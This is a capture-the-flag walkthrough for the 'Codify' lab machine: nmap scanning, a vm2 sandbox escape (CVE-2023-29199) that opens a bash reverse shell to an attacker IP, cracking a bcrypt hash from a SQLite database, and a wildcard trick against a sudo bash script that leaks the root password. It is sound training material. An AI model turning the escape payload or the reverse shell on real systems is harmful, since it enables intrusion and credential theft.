Codify
Codify is an easy Linux machine that features a web application that allows users to test Node.js code. The application uses a vulnerable vm2 library, which is leveraged to gain remote code execution. Enumerating the target reveals a SQLite database containing a hash which, once cracked, yields SSH access to the box. Finally, a vulnerable Bash script can be run with elevated privileges to reveal the root user’s password, leading to privileged access to the machine.
Walkthrough
Reconnaissance
We will start by scanning protocolos in the target machine, this can be divided in 3 phases:
- Scan for open ports.
- Scan for services in these open ports.
- Scan for vulnerabilities in these services.
Let’s start by scanning for open ports:
sudo nmap -sS 10.10.11.239 -p- -T4 --min-rate 5000 -oN all_tcp_ports.txt --open -n -Pn
There are 3 open ports:
- 22/tcp
- 80/tcp
- 3000/tcp
Let’s check which services are running in these ports:
sudo nmap -sS 10.10.11.239 -p 22,80,3000 -T4 --min-rate 5000 -oX open_ports.xml -oN open_ports.txt --version-all -n -Pn -A
We can see that the services correspond to:
- 22/tcp OpenSSH 8.9p1
- 80/tcp Apache httpd 2.4.52
- 3000/tcp Node.js Express framework
We also have a hostname, so let’s add it:
echo "10.10.11.239 codify.htb" | sudo tee -a /etc/hosts
Now we will seek for vulnerabilities:
sudo nmap -sS 10.10.11.239 -p 22,80,3000 -T4 --min-rate 5000 --script="vuln and safe or intrusive and safe or discovery" -oN vulns.txt -oX vulns.xml -n -Pn
The scan reports nothing.
Foothold
The foothold in this machine is very easy as we only have to take a good look at the website and we will discover the CVE related to the foothold.
After exploring the websites functionalities and trying to inject a Node.js reverse shell, we can discover this interesting section in the About page:
We can see that the library vm2 is used to create a sandbox environment to prevent harmful code, if we hover over this hyperlink, we can discover the vm2 version:
A quick search on Google will reveal the CVE-2023-29199:
And in these results, we can find an interesting exploit:
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));
We can try to use it to get a reverse shell in the target machine:
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.4/4444 0>&1"');
}
Great! We have a shell, however we have no user flag in our home directory, enumerating a little bit we can find that there is another user called joshua, it must have the user flag:
ls /home
Inspecting the website files we can find a database file:
ls /var/www/contact
We can inspect it contents:
sqlite3 tickets.d
.tables
.schema users
select username, password from users;
We have a hash for this user, let’s try to crack it:
echo '$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > joshua_hash
john --wordlist=/usr/share/wordlists/rockyou.txt joshua_hasj
We have a password for joshua, let’s try it and grab the user flag:
ssh joshua@codify.htb
Privilege Escalation
The privilege escalation for this machine is a little bit more complex if we haven’t faced this vulnerability before, but once we have seen it once, it’s very easy.
Enumerating this user’s privileges, we can see that it can run a bash script using sudo
:
sudo -l
Let’s examine the script:
The first thing that came to my mind was inject commands in database names, as we can access the mysql databases, however it’s not the case. In this script there are 2 flaws:
- The comparison between our password and the root password is done without quotes, which means we can use pattern-matching, so a simple asterisk
*
wildcard will do the job for the root password. - The root password is used directly in the
mysql
command without encryption, so if we can see the command being executed, we can see the clear-text password.
Let’s use pspy for this, we can download it:
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
sudo python3 -m http.server 80
And transfer it to the victim machine:
wget http://10.10.16.4/pspy64
chmod +x
Finally, let’s run it and execute the bash script in separate terminals, when asked for the root password, type a single asterisk *
:
./pspy64 | grep -vE "auto" | grep mysql*
sudo /opt/scripts/mysql-backup.sh
Great, we obtained the password for the user root, let’s use it an print the root flag:
su